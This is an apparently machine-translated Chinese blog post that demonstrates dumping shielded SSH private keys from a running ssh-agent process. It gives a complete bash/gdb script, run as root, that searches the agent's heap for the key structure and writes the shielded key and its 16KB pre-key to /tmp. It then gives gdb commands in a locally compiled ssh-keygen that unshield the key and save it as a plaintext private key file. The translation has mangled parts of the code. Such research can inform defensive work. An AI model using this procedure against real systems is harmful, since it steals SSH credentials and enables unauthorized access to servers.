这只是我想分享的一些笔记的快速博客文章。引入了受保护的私钥是为了防止对 ssh-agent 保存在内存中的 ssh 密钥进行 Spectre/Meltdown 攻击。基本上,当您通过 ssh 向 ssh-agent 添加密钥时,该密钥将使用从随机 16KB pre_key 派生的对称密钥加密(屏蔽)。由 ssh-agent 管理的身份由一个(列表)身份结构表示,该结构包含对密钥注释的引用和指向相关密钥的指针;新的屏蔽密钥及其 pre_key 都在这个 sshkey 结构中被 shielded_private 和 shield_prekey 指针引用。因此,如果我们在堆中查找关键注释地址的 XREF,我们应该能够找到 sshkey 结构;还知道它的最后一个字段总是设置为 0x4000 (16KB),这是固定的 shield_prekey_len 有助于识别 sshkey 结构。为了快速证明上述内容,我编写了以下 bash/gdb 脚本来转储私有的屏蔽密钥及其 pre_key: #!/bin/bash GDB=/usr/bin/gdb if [[ $# -lt 2 ]];然后echo "Usage: ./script [pid] [key comment]" >&2 exit 2 fi PID=$1 COMMENT=$2 COMMENT_LEN=${#COMMENT} HEAP=$(cat /proc/$PID/maps | grep heap) #echo $HEAP START=0x${HEAP:0:12} END=0x${HEAP:13:12} COMMADDR=$($GDB -p $PID -batch -ex "find $START, $END, {char [$COMMENT_LEN]}\"$COMMENT\"" 2>/dev/null | egrep ^0[xX][0-9a-fA-F]{12}$) echo "[ - ] 在中搜索关键注释字符串内存 -> 这是我发现的:" echo "$COMMADDR" echo "[ - ] 现在在 $COMMADDR 中为 i 搜索我们找到的注释地址的外部参照 -> 寻找堆地址;做 TEMPF="\x${i:12:2}\x${i:10:2}\x${i:8:2}\x${i:6:2}\x${i: 4:2}\x${i:2:2}" TEMPPTR=$($GDB -p $PID -batch -ex "find $START, $END, {char[6]}\"$TEMPF\"" 2>/dev/null | egrep ^0[xX][0-9a-fA-F]{12}$) for j in $TEMPPTR; do VAR2=$(($j - 0x8)) # Identity->j = char *comment;身份->(j - 0x8) = struct sshkey *key; VAR=$($GDB -p $PID -batch -ex "x/za $VAR2" 2>/dev/null | egrep ^0[xX][a-f0-9A-F]{12}\:) VAR3 =${VAR:15} echo "[ o ] XREF $j 包含 $VAR3 让我们看看它是否在堆中" if (($VAR3 > $START)) then if (($VAR3 < $END)) then echo "[ + ] 在堆 $VAR3 中找到一个 XREF -> 在这个地址搜索一个 sshkey 结构" KEYPOS=$(($VAR3 + 0xa0)) KEYLEN=$($GDB -p $PID -batch -ex "x /d $KEYPOS" 2>/dev/null | egrep ^0[xX][a-f0-9A-F]{12}\:) echo "SHIELD_PRIVATE_LEN ${KEYLEN:15}" KEYLEN1=${KEYLEN:15 } if (($KEYLEN1 != 16384)) then echo "[ - ] Key not found -> now to the next ptr" continue else echo "[ + ] 找到被屏蔽的私钥 -> 现在转储它" SHPOS=$( ($VAR3 + 0x88)) SPPOS=$(($VAR3 + 0x98)) PKEYLENPOS=$(($VAR3 + 0x90)) SHIELDED_PRIVATE=$($GDB -p $PID -batch -ex "x/za $SHPOS" 2>/dev/null | egrep ^0[xX][a-f0-9A-F]{12}\:) SHIELDED_PREKEY=$($GDB -p $PID -batch -ex "x/za $SPPOS" 2 >/dev/null | egrep ^0[xX][a-f0-9A-F]{12}\:) PKEYLEN=$($GDB -p $PID -batch -ex "x/za $PKEYLENPOS" 2> /dev/null | egr ep ^0[xX][a-f0-9A-F]{12}\:) printf "SHIELDED_PRIVATE %s\r\n" ${SHIELDED_PRIVATE:15} printf "SHIELDED_LENGTH %d\r\n" ${PKEYLEN :15} printf "SHIELD_PREKEY %s\r\n" ${SHIELDED_PREKEY:15} printf "SHIELD_PREKEY_LEN 16384\r\n" exec $GDB -p $PID <<EOF set \$fd = fopen("/tmp/shielded_private ", "w") call fwrite(${SHIELDED_PRIVATE:15}, 1, ${PKEYLEN:15}, \$fd) call fflush(\$fd) call fclose(\$fd) set \$fd = fopen( "/tmp/shield_prekey", "w") call fwrite(${SHIELDED_PREKEY:15}, 1, 16384, \$fd) call fflush(\$fd) call fclose(\$fd) detach quit quit EOF fi fi fi done done 以 root 用户身份运行它,如下所示: # ps auxw | grep ssh-agent # 查找 ssh-agent-pid # lsof -p ssh-agent-pid | grep unix # find target-unix-socket-path # export SSH_AUTH_SOCK=target-unix-socket-path # ssh-add -l # find key@comment # ./ospkd.sh ssh-agent-pid key@comment
为了避免像我的脚本那样弄乱进程内存,因为无论如何 gdb 都是可用的,一个更方便的方法是使用 gcore 转储进程内存,我们以后可以用 Ghidra 解析它;下面附有一个非常简单的 Ghidra 脚本,它在 ssh-agent gcore 文件上执行相同的操作。现在我们有了屏蔽的私钥和它的预密钥,我们如何取消屏蔽呢?经过几次尝试,我意识到我只需要两个函数,猜猜看,ssh-keygen 是唯一实现这两个函数的二进制文件。这两个函数是 sshkey_unshield_private() 和 sshkey_save_private()(使用空白密码调用)。所以我想出的最快的解决方案是在我的本地机器上用符号编译 ssh-keygen: $ tar xvfz openssh-8.6p1.tar.gz $ cd openssh-8.6p1 $ ./configure --with-audit=debug $ make ssh-keygen $ gdb ./ssh-keygen b main b sshkey_free r set $miak = (struct sshkey *)sshkey_new(0) set $shielded_private = (unsigned char *)malloc(1392) set $shield_prekey = (unsigned char *) malloc(16384) set $fd = fopen("/tmp/shielded_private", "r") call fread($shielded_private, 1, 1392, $fd) call fclose($fd) set $fd = fopen("/tmp/ shield_prekey", "r") call fread($shield_prekey, 1, 16384, $fd) call fclose($fd) set $miak->shielded_private=$shielded_private set $miak->shield_prekey=$shield_prekey set $miak->shielded_len =1392 set $miak->shield_prekey_len=16384 call sshkey_unshield_private($miak) bt f 1 x *kp call sshkey_save_private(*kp, "/tmp/plaintext_private_key", "", "comment", 0, "\x00", ) kq 我们在 sshkey_free() 处中断的原因是因为 gdb malloc 的 sshkey_struct 不能被 sshke 释放y_free() (我猜,哈哈),它会在保存未屏蔽的密钥之前崩溃。所以我们在 sshkey_free() 被命中之前调用 sshkey_save_private()。注意:此过程仅针对 Ubuntu 20.04.2 LTS 上的 RSA 和 DSA 密钥进行了测试。和 Kali Linux 2021.2。它可能需要一些调整才能在其他平台上工作。